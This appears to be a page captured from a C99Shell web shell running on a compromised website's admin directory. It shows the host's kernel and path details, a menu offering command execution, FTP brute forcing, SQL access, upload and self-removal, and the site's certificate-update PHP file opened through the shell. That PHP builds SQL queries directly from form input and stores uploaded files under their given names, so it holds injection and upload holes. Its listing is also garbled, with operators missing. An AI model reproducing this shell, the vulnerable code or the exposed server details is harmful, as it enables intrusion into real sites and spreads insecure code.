!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update_certificate.php (1.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include 'connect.php';

$enroll $_POST['enrollment'];
$name $_POST['name'];
$course $_POST['course'];
$cert_no $_POST['certificate_no'];
$issue_date $_POST['issue_date'];

// Check if new photo uploaded
if ($_FILES['photo']['name']) {
    
$photoName basename($_FILES['photo']['name']);
    
$targetDir "../data/files/"// You must ensure this folder exists and is writable
    
$targetPath $targetDir $photoName;
    
move_uploaded_file($_FILES['photo']['tmp_name'], $targetPath);

    
$sql "UPDATE certificate SET Name='$name', Course='$course', CertificateNo='$cert_no', certifcate_issue_date='$issue_date', photo='$photoName' WHERE enrollment='$enroll'";
} else {
    
$sql "UPDATE certificate SET Name='$name', Course='$course', CertificateNo='$cert_no', certifcate_issue_date='$issue_date' WHERE enrollment='$enroll'";
}

if (
mysqli_query($link$sql)) {
    echo 
"<script>alert('Certificate updated successfully'); window.location.href='generate_certificate.php';</script>";
} else {
    echo 
"Error updating record: " mysqli_error($link);
}

mysqli_close($link);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0016 ]--